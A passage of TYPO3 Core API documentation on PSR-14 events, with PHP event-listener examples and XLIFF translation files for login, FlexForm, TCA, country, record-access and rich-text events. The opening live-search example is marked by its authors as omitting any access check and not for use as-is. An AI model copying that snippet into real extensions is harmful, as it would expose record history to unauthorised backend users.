* WARNING: THIS EXAMPLE OMITS ANY ACCESS CHECK FOR SIMPLICITY REASONS - DO NOT USE AS-IS
*/
$showHistoryAction = (new ResultItemAction('view_history'))
->setLabel($this->languageService->sL('LLL:EXT:core/Resources/Private/Language/locallang_mod_web_list.xlf:history'))
->setIcon($this->iconFactory->getIcon('actions-document-history-open', IconSize::SMALL))
->setUrl((string)$this->uriBuilder->buildUriFromRoute('record_history', [
'element' => $resultItem->getExtraData()['table'] . ':' . $resultItem->getExtraData()['uid'],
]));
$resultItem->addAction($showHistoryAction);
}
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
PSR-14 event to modify as result item created by the live search
getResultItem()
Returns
\TYPO3\CMS\Backend\Search\LiveSearch\ResultItem
PageContentPreviewRenderingEvent
Use the PSR-14 event
\TYPO3\CMS\Backend\View\Event\PageContentPreviewRenderingEvent
to ship an alternative rendering for a specific content type or
to manipulate the record data of a content element.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Backend\EventListener;
useTYPO3\CMS\Backend\View\Event\PageContentPreviewRenderingEvent;
useTYPO3\CMS\Core\Attribute\AsEventListener;
#[AsEventListener(
identifier: 'my-extension/preview-rendering-example-ctype',
)]
final readonly classMyEventListener{
publicfunction__invoke(PageContentPreviewRenderingEvent $event): void{
if ($event->getTable() !== 'tt_content') {
return;
}
if ($event->getRecordType() === 'example_ctype') {
$event->setPreviewContent('<div>...</div>');
}
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
The PSR-14 event
\TYPO3\CMS\Backend\Controller\Event\RenderAdditionalContentToRecordListEvent
allows to add content before or after the main content of the List
module.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
This event is triggered when a "SU" (switch user) action has been triggered
getSessionId()
Returns
string
getTargetUser()
Returns
array
getCurrentUser()
Returns
array
SystemInformationToolbarCollectorEvent
The PSR-14 event
\TYPO3\CMS\Backend\Backend\Event\SystemInformationToolbarCollectorEvent
allows to enrich the system information toolbar in the TYPO3 backend top toolbar
with various information.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
When user groups are loaded, for example when a backend editor's groups and permissions
are calculated, a new PSR-14 event AfterGroupsResolvedEvent is fired.
This event contains a list of retrieved groups from the database which can
be modified via event listeners. For example, more groups might be added when a
particular user logs in or is seated at a special location.
Hint
This event acts as a substitution for the removed TYPO3 hook
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_userauthgroup.php']['fetchGroups_postProcessing'] .
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
Event fired after user groups have been resolved for a specific user
getSourceDatabaseTable()
Return description
'be_groups' or 'fe_groups' depending on context.
Returns
string
getGroups()
List of group records including sub groups as resolved by core.
Note order is important: A user with main groups "1,2", where 1 has sub group 3,
results in "3,1,2" as record list array - sub groups are listed before the group
that includes the sub group.
Returns
array
setGroups(array $groups)
List of group records as manipulated by the event.
param $groups
the groups
getOriginalGroupIds()
List of group uids directly attached to the user
Returns
array
getUserData()
Full user record with all fields
Returns
array
AfterUserLoggedInEvent
New in version 12.3
The event replaces the deprecated hook
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_userauthgroup.php']['backendUserLogin'] .
New in version 13.0
The event is also dispatched, when a successful frontend user login is
performed.
The purpose of the PSR-14 event
\TYPO3\CMS\Core\Authentication\Event\AfterUserLoggedInEvent
is to trigger any kind of action when a backend or frontend user has been
successfully logged in.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Authentication\EventListener;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Core\Authentication\BackendUserAuthentication;
useTYPO3\CMS\Core\Authentication\Event\AfterUserLoggedInEvent;
#[AsEventListener(
identifier: 'my-extension/after-user-logged-in',
)]
final readonly classMyEventListener{
publicfunction__invoke(AfterUserLoggedInEvent $event): void{
if (
$event->getUser() instanceof BackendUserAuthentication
&& $event->getUser()->isAdmin()
) {
// Do something like: Clear all caches after login
}
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
The event replaces the deprecated hook
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_userauth.php']['logoff_post_processing'] .
The purpose of the PSR-14 event
\TYPO3\CMS\Core\Authentication\Event\AfterUserLoggedOutEvent
is to trigger any kind of action when a user has been successfully logged out.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
The event
\TYPO3\CMS\Core\Authentication\Event\BeforeRequestTokenProcessedEvent
allows to intercept or adjust a request token
during active user authentication process.
Example
The event can be used to generate the request token individually. This can be
the case when you are not using a login callback and have not the possibility
to submit a request token:
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
The event replaces the deprecated hook
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_userauth.php']['logoff_pre_processing'] .
The purpose of the PSR-14 event
\TYPO3\CMS\Core\Authentication\Event\BeforeUserLogoutEvent is to trigger
any kind of action before a user will be logged out.
The event has the possibility to bypass the regular logout process by TYPO3
(removing the cookie and the user session) by calling
$event->disableRegularLogoutProcess() in an event listener.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Authentication\EventListener;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Core\Authentication\Event\LoginAttemptFailedEvent;
#[AsEventListener(
identifier: 'my-extension/login-attempt-failed',
)]
final readonly classMyEventListener{
publicfunction__invoke(LoginAttemptFailedEvent $event): void{
$normalizedParams = $event->getRequest()->getAttribute('normalizedParams');
if ($normalizedParams->getRemoteAddress() !== '198.51.100.42') {
// send an email because an external user attempt failed
}
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
The PSR-14 event
\TYPO3\CMS\Core\Configuration\Event\AfterFlexFormDataStructureIdentifierInitializedEvent
can be used to control the FlexForm parsing in an
object-oriented approach.
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
Listeners to this event are able to modify or enhance the data structure identifier,
which is used for a given TCA flex field.
This event can be used to add additional data to an identifier. Be careful here, especially if
stuff from the source record like uid or pid is added! This may easily lead to issues with
data handler details like copy or move records, localization and version overlays.
Test this very well! Multiple listeners may add information to the same identifier here -
take care to namespace array keys. Information added here can be later used in the
data structure related PSR-14 Events (BeforeFlexFormDataStructureParsedEvent and
AfterFlexFormDataStructureParsedEvent) again.
See the note on FlexFormTools regarding the schema of $dataStructure.
getFieldTca()
Returns the full TCA of the currently handled field, having
type=flex set.
Returns
array
getTableName()
Returns
string
getFieldName()
Returns
string
getRow()
Returns the whole database row of the current record.
Returns
array
setIdentifier(array $identifier)
Allows to modify or completely replace the initialized data
structure identifier.
param $identifier
the identifier
getIdentifier()
Returns the initialized data structure identifier, which has
either been defined by an event listener or set to the default
by the FlexFormTools component.
Returns
array
AfterFlexFormDataStructureParsedEvent
The PSR-14 event
\TYPO3\CMS\Core\Configuration\Event\AfterFlexFormDataStructureParsedEvent
can be used to control the FlexForm parsing in an
object-oriented approach.
Listeners to this event are able to modify or enhance a flex form data
structure that corresponds to a given identifier, after it was parsed and
before it is used by further components.
Note: Since this event is not stoppable, all registered listeners are
called. Therefore, you might want to namespace your identifiers in a way,
that there is little chance they overlap (e.g. prefix with extension name).
See the note on FlexFormTools regarding the schema of $dataStructure.
getIdentifier()
Returns
array
getDataStructure()
Returns the current data structure, which has been processed and
parsed by the FlexFormTools component. Might contain additional
data from previously called listeners.
Returns
array
setDataStructure(array $dataStructure)
Allows to modify or completely replace the parsed data
structure identifier.
param $dataStructure
the dataStructure
AfterTcaCompilationEvent
The PSR-14 event
\TYPO3\CMS\Core\Configuration\Event\AfterTcaCompilationEvent is
dispatched after
$GLOBALS['TCA'] is built to allow to further manipulate
the TCA.
Note
It is possible to check against the original TCA as this is stored within
$GLOBALS['TCA'] before this event is fired.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
The PSR-14 event
\TYPO3\CMS\Core\Configuration\Event\BeforeFlexFormDataStructureIdentifierInitializedEvent
can be used to control the FlexForm parsing in an
object-oriented approach.
Listeners to this event are able to specify the data structure identifier,
used for a given TCA flex field.
Listeners should call ->setIdentifier() to set the identifier or ignore the
event to allow other listeners to set it. Do not set an empty string as this
will immediately stop event propagation!
The identifier SHOULD include the keys specified in the Identifier definition
on FlexFormTools, and nothing else. Adding other keys may or may not work,
depending on other code that is enabled, and they are not guaranteed nor
covered by BC guarantees.
Warning: If adding source record details like the uid or pid here, this may turn out to be fragile.
Be sure to test scenarios like workspaces and data handler copy/move well, additionally, this may
break in between different core versions.
It is probably a good idea to return at least something like [ 'type' => 'myExtension', ... ], see
the core internal 'tca' and 'record' return values below
See the note on FlexFormTools regarding the schema of $dataStructure.
getFieldTca()
Returns the full TCA of the currently handled field, having
type=flex set.
Returns
array
getTableName()
Returns
string
getFieldName()
Returns
string
getRow()
Returns the whole database row of the current record.
Returns
array
setIdentifier(array $identifier)
Allows to define the data structure identifier for the TCA field.
Setting an identifier will immediately stop propagation. Avoid
setting this parameter to an empty array as this will also stop
propagation.
param $identifier
the identifier
getIdentifier()
Returns the current data structure identifier, which will always be
null for listeners, since the event propagation is
stopped as soon as a listener defines an identifier.
Returns
?array
isPropagationStopped()
Returns
bool
Migration
Using the removed hook method
getDataStructureIdentifierPreProcess() of
the hook
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['workspaces']['modifyDifferenceArray']
previously required implementations to always return an
array.
This means, implementations returned an empty
array in case they did
not want to set an identifier, allowing further implementations to be
called.
This behaviour has now changed. As soon as a listener sets the identifier
using the
setIdentifier() method, the event propagation is stopped
immediately and no further listeners are being called. Therefore, listeners
should avoid setting an empty
array but should just "return" without
any change to the
$event object in such a case.
BeforeFlexFormDataStructureParsedEvent
The PSR-14 event
\TYPO3\CMS\Core\Configuration\Event\BeforeFlexFormDataStructureParsedEvent
can be used to control the FlexForm parsing in an
object-oriented approach.
Listeners to this event are able to specify a flex form data structure that
corresponds to a given identifier.
Listeners should call ->setDataStructure() to set the data structure (this
can either be a resolved data structure string, a "FILE:" reference or a
fully parsed data structure as array) or ignore the event to allow other
listeners to set it. Do not set an empty array or string as this will
immediately stop event propagation!
See the note on FlexFormTools regarding the schema of $dataStructure.
getDataStructure()
Returns the current data structure, which will always be null
for listeners, since the event propagation is stopped as soon as
a listener sets a data structure.
Returns
array|string|?null
setDataStructure(array|string $dataStructure)
Allows to either set an already parsed data structure as array,
a file reference or the XML structure as string. Setting a data
structure will immediately stop propagation. Avoid setting this parameter
to an empty array or string as this will also stop propagation.
param $dataStructure
the dataStructure
getIdentifier()
Returns
array
isPropagationStopped()
Returns
bool
Migration
Using the removed hook method
parseDataStructureByIdentifierPreProcess()
of hook
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['workspaces']['modifyDifferenceArray']
previously required implementations to always return an
array or
string. Implementations returned an empty
array or empty
string in case they did not want to set a data structure.
This behaviour has now changed. As soon as a listener sets a data structure
using the
setDataStructure() method, the event propagation is stopped
immediately and no further listeners are called.
Therefore, listeners should avoid setting an empty
array or an empty
string but should just "return" without any change to the
$event object in such a case.
BeforeTcaOverridesEvent
New in version 13.0
A PSR-14 event
\TYPO3\CMS\Core\Configuration\Event\BeforeTcaOverridesEvent
enables developers to listen to the state between loaded base TCA and merging of
TCA overrides.
It can be used to dynamically generate TCA and add it as additional
base TCA. This is especially useful for "TCA generator" extensions, which add
TCA based on another resource, while still enabling users to override TCA via
the known TCA overrides API.
Note
$GLOBALS['TCA'] is not set at this point. Event listeners can only
work on the TCA coming from
$event->getTca() and
must not access
$GLOBALS['TCA'] .
TCA is always "runtime-cached". This means that dynamic
additions must never depend on runtime state, for example, the current
PSR-7 request or similar, because such information
might not even exist when the first call is done, for example, from
CLI.
Extensions can modify page TSconfig entries that can be overridden or added, based on the root line
getTsConfig()
Returns
array
addTsConfig(string $tsConfig)
param $tsConfig
the tsConfig
setTsConfig(array $tsConfig)
param $tsConfig
the tsConfig
getRootLine()
Returns
array
SiteConfigurationBeforeWriteEvent
The PSR-14 event
\TYPO3\CMS\Core\Configuration\Event\SiteConfigurationBeforeWriteEvent
allows the modification of the site configuration array
before writing the configuration to disk.
Event fired before a site configuration is written to a yaml file
allows dynamic modification of the site's configuration before writing.
getSiteIdentifier()
Returns
string
getConfiguration()
Returns
array
setConfiguration(array $configuration)
param $configuration
overwrite the configuration array of the site
SiteConfigurationLoadedEvent
The PSR-14 event
\TYPO3\CMS\Core\Configuration\Event\SiteConfigurationLoadedEvent
allows the modification of the site configuration array
before loading the configuration.
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
The PSR-14 event
\TYPO3\CMS\Core\Core\Event\BootCompletedEvent is fired
on every request when TYPO3 has been fully booted, right after all configuration
files have been added.
This event complements the AfterTcaCompilationEvent which is executed
after TCA configuration has been assembled.
Use cases for this event include running extension's code which needs to be
executed at any time and needs TYPO3's full configuration including all loaded
extensions.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Bootstrap\EventListener;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Core\Core\Event\BootCompletedEvent;
#[AsEventListener(
identifier: 'my-extension/boot-completed',
)]
final readonly classMyEventListener{
publicfunction__invoke(BootCompletedEvent $e): void{
// Do your magic
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
API
classBootCompletedEvent
Fully qualified name
\TYPO3\CMS\Core\Core\Event\BootCompletedEvent
Executed when TYPO3 has fully booted (after all ext_tables.php files have been processed)
isCachingEnabled()
Returns
bool
Country
The following list contains PSR-14 events
in EXT:core, namespace Country.
The PSR-14 event
\TYPO3\CMS\Core\Country\Event\BeforeCountriesEvaluatedEvent
allows to modify the list of countries provided by
the
\TYPO3\CMS\Core\Country\CountryProvider .
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\EventListener;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Core\Country\Country;
useTYPO3\CMS\Core\Country\Event\BeforeCountriesEvaluatedEvent;
final readonly classEventListener{
#[AsEventListener(identifier: 'my-extension/before-countries-evaluated')]publicfunction__invoke(BeforeCountriesEvaluatedEvent $event): void{
$countries = $event->getCountries();
unset($countries['BS']);
$countries['XX'] = new Country(
'XX',
'XYZ',
'Magic Kingdom',
'987',
'🔮',
'Kingdom of Magic and Wonders',
);
$event->setCountries($countries);
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
As the localized names for the countries are defined in file
EXT:core/Resources/Private/Language/Iso/countries.xlf, this language
file needs to be extended via
locallangXMLOverride:
<?xml version="1.0" encoding="utf-8" standalone="yes" ?><xliffversion="1.0"><filesource-language="en"datatype="plaintext"date="2024-01-08T18:44:59Z"product-name="my_extension"><body><trans-unitid="XX.name"approved="yes"><source>Magic Kingdom</source></trans-unit><trans-unitid="XX.official_name"approved="yes"><source>Kingdom of Magic and Wonders</source></trans-unit></body></file></xliff>
<?xml version="1.0" encoding="utf-8" standalone="yes" ?><xliffversion="1.0"><filesource-language="en"target-language="de"datatype="plaintext"date="2024-01-08T18:44:59Z"product-name="my_extension"><body><trans-unitid="XX.name"approved="yes"><source>Magic Kingdom</source><target>Magisches Königreich</target></trans-unit><trans-unitid="XX.official_name"approved="yes"><source>Kingdom of Magic and Wonders</source><target>Königreich der Magie und Wunder</target></trans-unit></body></file></xliff>
<?xml version="1.0" encoding="utf-8" standalone="yes" ?><xliffversion="1.0"><filesource-language="en"target-language="tlh"datatype="plaintext"date="2024-01-08T18:44:59Z"product-name="my_extension"><body><trans-unitid="XX.name"approved="yes"><source>Magic Kingdom</source><target>‘oHtaHghach wo’</target></trans-unit><trans-unitid="XX.official_name"approved="yes"><source>Kingdom of Magic and Wonders</source><target>‘oHtaHghach je Dojmey wo’</target></trans-unit></body></file></xliff>
The PSR-14 event
\TYPO3\CMS\Core\Database\Event\AlterTableDefinitionStatementsEvent
allows to intercept the
CREATE TABLE statement from all loaded
extensions.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
The PSR-14 event
\TYPO3\CMS\Core\DataHandling\Event\AppendLinkHandlerElementsEvent
is fired so listeners can intercept and add elements when checking
links within the soft reference parser.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
Event fired so listeners can intercept add elements when checking links within the SoftRef parser
getLinkParts()
Returns
array
getContent()
Returns
string
getElements()
Returns
array
getIdx()
Returns
int
getTokenId()
Returns
string
setLinkParts(array $linkParts)
param $linkParts
the linkParts
setContent(string $content)
param $content
the content
setElements(array $elements)
param $elements
the elements
addElements(array $elements)
param $elements
the elements
isResolved()
Returns
bool
IsTableExcludedFromReferenceIndexEvent
The PSR-14 event
\TYPO3\CMS\Core\DataHandling\Event\IsTableExcludedFromReferenceIndexEvent
allows to intercept, if a certain table should be excluded from the
reference index.
There is no need to add tables without a definition in
$GLOBALS['TCA']
since the reference index only handles those.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
The PSR-14 event
\TYPO3\CMS\Core\Domain\Event\AfterRecordLanguageOverlayEvent
can be used to modify the actual translated record (if found) to add additional
information or perform custom processing of the record.
Event which is fired after a record was translated (or tried to be localized).
getTable()
Returns
string
getRecord()
Returns
array
getLanguageAspect()
Returns
\TYPO3\CMS\Core\Context\LanguageAspect
setLocalizedRecord(?array $localizedRecord)
param $localizedRecord
the localizedRecord
getLocalizedRecord()
Returns
?array
overlayingWasAttempted()
Determines if the overlay functionality happened, thus, returning the lo
Returns
bool
BeforePageIsRetrievedEvent
New in version 13.0
This event serves as a more powerful replacement for the removed
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_page.php']['getPage']
hook.
The PSR-14 event
\TYPO3\CMS\Core\Domain\Event\BeforePageIsRetrievedEvent
allows to modify the resolving of page records within
\TYPO3\CMS\Core\Domain\PageRepository->getPage().
It can be used to alter the incoming page ID or to even fetch a fully-loaded
page object before the default TYPO3 behaviour is executed, effectively
bypassing the default page resolving.
Event which is fired before a page (id) is being resolved from PageRepository.
Allows to change the corresponding page ID, e.g. to resolve a different page
with custom overlaying, or to fully resolve the page on your own.
getPage()
Returns
?\TYPO3\CMS\Core\Domain\Page
setPage(\TYPO3\CMS\Core\Domain\Page $page)
param $page
the page
hasPage()
Returns
bool
getPageId()
Returns
int
setPageId(int $pageId)
param $pageId
the pageId
skipGroupAccessCheck()
respectGroupAccessCheck()
isGroupAccessCheckSkipped()
Returns
bool
getContext()
Returns
\TYPO3\CMS\Core\Context\Context
BeforePageLanguageOverlayEvent
The PSR-14 event
\TYPO3\CMS\Core\Domain\Event\BeforePageLanguageOverlayEvent
is a special event which is fired when TYPO3 is about to do the language overlay
of one or multiple pages, which could be one full record or multiple page IDs.
This event is fired only for pages and in-between the events
BeforeRecordLanguageOverlayEvent and AfterRecordLanguageOverlayEvent.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
The PSR-14 event
\TYPO3\CMS\Core\Domain\Event\BeforeRecordLanguageOverlayEvent
can be used to modify information (such as the
LanguageAspect or the actual incoming
record from the database) before the database is queried.
Example: Change the overlay type to "on" (connected)
In this example, we will change the overlay type to "on" (connected). This may
be necessary if your site is configured with free mode, but you have a record
type that has languages connected.
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
This event serves as a replacement for the removed hook
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_page.php']['addEnableColumns'] .
The API class
\TYPO3\CMS\Core\Domain\Repository\PageRepository has a
method
getDefaultConstraints() which accumulates common
restrictions for a database query. The purpose is to limit queries for
TCA-based tables, filtering out disabled or scheduled records.
The PSR-14 event
\TYPO3\CMS\Core\Domain\Event\ModifyDefaultConstraintsForDatabaseQueryEvent
allows to remove, alter or add constraints compiled by TYPO3 for a specific
table to further limit these constraints.
The event contains a list of
CompositeExpression objects, allowing
to modify them via the
getConstraints() and
setConstraints(array $constraints) methods.
Example
Note
Currently, we do not have an example for this event. If you can provide a
useful one, please open an issue with your code snippets or
a pull request.
The PSR-14 event
\TYPO3\CMS\Core\Domain\Access\RecordAccessGrantedEvent
can be used to either define whether a record access is granted
for a user, or to modify the record in question. In case the
$accessGranted
property is set (either
true or
false), the defined settings are
directly used, skipping any further event listener as well as any further
evaluation.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Domain\Access;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Core\Domain\Access\RecordAccessGrantedEvent;
#[AsEventListener(
identifier: 'my-extension/set-access-granted',
)]
final readonly classMyEventListener{
publicfunction__invoke(RecordAccessGrantedEvent $event): void{
// Manually set access grantedif (
$event->getTable() === 'my_table' &&
($event->getRecord()['custom_access_field'] ?? false)
) {
$event->setAccessGranted(true);
}
// Update the record to be checked
$record = $event->getRecord();
$record['some_field'] = true;
$event->updateRecord($record);
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
Event to modify records to be checked against "enableFields".
Listeners are able to grant access or to modify the record itself to
continue to use the native access check functionality with a modified dataset.
isPropagationStopped()
Returns
bool
setAccessGranted(bool $accessGranted)
param $accessGranted
the accessGranted
getTable()
Returns
string
getRecord()
Returns
array
updateRecord(array $record)
param $record
the record
getContext()
Returns
\TYPO3\CMS\Core\Context\Context
RecordCreationEvent
New in version 13.3
The PSR-14
RecordCreationEvent is introduced in
order to allow the manipulation of any property
before being used to create a
Database Record object.
The Database Record object, which
represents a raw database record based on TCA and is usually used in the
frontend (via Fluid Templates).
The properties of those Record
objects are transformed / expanded from their raw database value into
"rich-flavored" values. Those values might be relations to Record objects implementing
RecordInterface ,
FileReference ,
\TYPO3\CMS\Core\Resource\Folder or
\DateTimeImmutable objects.
TYPO3 does not know about custom field meanings, for example latitude and
longitude information, stored in an input field or user settings stored as
JSON in a TCA type json
field.
This event is dispatched right before a Record object is created and
therefore allows to fully manipulate any property, even the ones already
transformed by TYPO3.
The new event is stoppable (implementing
\StoppableEventInterface ), which
allows listeners to actually create a Record object, implementing
\TYPO3\CMS\Core\Domain\RecordInterface completely on their
own.
Example
The event listener class, using the PHP attribute
#[AsEventListener] for
registration, creates a
Coordinates object based on the field value of
the
coordinates field for the custom
maps content type.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Domain\Access;
useMyVendor\MyExtension\Domain\Model\Coordinates;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Core\Domain\Event\RecordCreationEvent;
final readonly classMyEventListener{
#[AsEventListener]publicfunction__invoke(RecordCreationEvent $event): void{
$rawRecord = $event->getRawRecord();
if ($rawRecord->getMainType() !== 'tt_content') {
return;
}
if ($rawRecord->getRecordType() !== 'maps') {
return;
}
if (!$event->hasProperty('coordinates')) {
return;
}
$event->setProperty(
'coordinates',
new Coordinates($event->getProperty('coordinates')),
);
}
}
Copied!
New in version 13.0
The PHP attribute
\TYPO3\CMS\Core\Attribute\AsEventListener has been
introduced to tag a PHP class as an event listener. Alternatively, or if you
need to be compatible with older TYPO3 versions, you can also register an
event listener via the Configuration/Services.yaml file. Switch to
an older version of this page for an example or have a look at the section
Implementing an event listener in your extension.
If available this is the subSchema for the current record type
Returns
\TYPO3\CMS\Core\Schema\TcaSchema
Important
The event operates on the
RecordInterface
instead of an actual implementation. This way, extension authors are able
to set custom records, implementing the interface.
Html
The following list contains PSR-14 events
in EXT:core, namespace Html.
Modify data when saving rich-text-editor (RTE) content to the database
(persistence). As opposed to BeforeTransformTextForPersistenceEvent
this event is executed after TYPO3 applied any kind of internal
transformations like for links.
When using a RTE HTML content element, two transformations
take place within the TYPO3 backend:
From database: Fetching the current content from the database (persistence) and
preparing it to be displayed inside the RTE HTML component.
To database: Retrieving the data returned by the RTE and preparing it to
be persisted into the database.
This event can modify the later part. This allows developers to apply
more customized transformations, apart from the internal and API ones.
Event listeners can use
$value = $event->getHtmlContent() to get the
current contents, apply changes to
$value and then store the
manipulated data via
$event->setHtmlContent($value),
see example:
Example: Transform a text before saving to database
An event listener class is constructed which will take a RTE input TYPO3 and internally
store it in the database as [tag:typo3]. This could allow a content element data processor
in the frontend to handle this part of the content with for example internal glossary operations.
The workflow would be:
Editor enters "TYPO3" in the RTE instance.
When saving, this gets stored as "[tag:typo3]".
When the editor sees the RTE instance again, "[tag:typo3]" gets replaced to "TYPO3" again.
So: The editor will always only see "TYPO3" and not know how it is internally handled.
The frontend output receives "[tag:typo3]" and could do its own content element magic,
other services accessing the database could also use the parseable representation.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\EventListener;
useTYPO3\CMS\Core\Attribute\AsEventListener;
useTYPO3\CMS\Core\Html\Event\AfterTransformTextForPersistenceEvent;
useTYPO3\CMS\Core\Html\Event\AfterTransformTextForRichTextEditorEvent;
classTransformListener{
/**
* Transforms the current value the RTE delivered into a value that is stored (persisted) in the database.
*/#[AsEventListener('rtehtmlparser/modify-data-for-persistence')]publicfunctionmodifyPersistence(AfterTransformTextForPersistenceEvent $event): void{
$value = $event->getHtmlContent();
$value = str_replace('TYPO3', '[tag:typo3]', $value);
$event->setHtmlContent($value);
}
/**
* Transforms the current persisted value into something the RTE can display
*/#[AsEventListener('rtehtmlparser/modify-data-for-richtexteditor')]publicfunctionmodifyRichTextEditor(AfterTransformTextForRichTextEditorEvent $event): void{
$value = $event->getHtmlContent();
$value = str_replace('[tag:typo3]', 'TYPO3', $value);
$event->setHtmlContent($value);
}
}
Modify data when retrieving content from the database and pass to the
rich-text-editor (RTE). As opposed to BeforeTransformTextForRichTextEditorEvent
this event is executed after TYPO3 applied any kind of internal
transformations like for links.
When using a RTE HTML content element, two transformations
take place within the TYPO3 backend:
From database: Fetching the current content from the database (`persistence`) and
preparing it to be displayed inside the RTE HTML component.
To database: Retrieving the data returned by the RTE and preparing it to
be persisted into the database.
This event can modify the first part. This allows developers to apply
more customized transformations, apart from the internal and API ones.
Event listeners can use
$value = $event->getHtmlContent() to get the
current contents, apply changes to
$value and then store the
manipulated data via
$event->setHtmlContent($value),
see example: Example: Transform a text before saving to database.
Modify data when saving rich-text-editor (RTE) content to the database
(persistence). As opposed to AfterTransformTextForPersistenceEvent
this event is executed before TYPO3 applied any kind of internal
transformations like for links.
Modify data when retrieving content from the database and pass to the
rich-text-editor (RTE). As opposed to AfterTransformTextForRichTextEditorEvent
this event is executed before TYPO3 applied any kind of internal
transformations like for links.
Event that is fired before RteHtmlParser modified the HTML input from the database to the RTE editor
(for example transforming linebreaks)
getHtmlContent()
Returns
string
setHtmlContent(string $htmlContent)
param $htmlContent
the htmlContent
getInitialHtmlContent()
Returns
string
getProcessingConfiguration()
Returns
array
BrokenLinkAnalysisEvent
The PSR-14 event
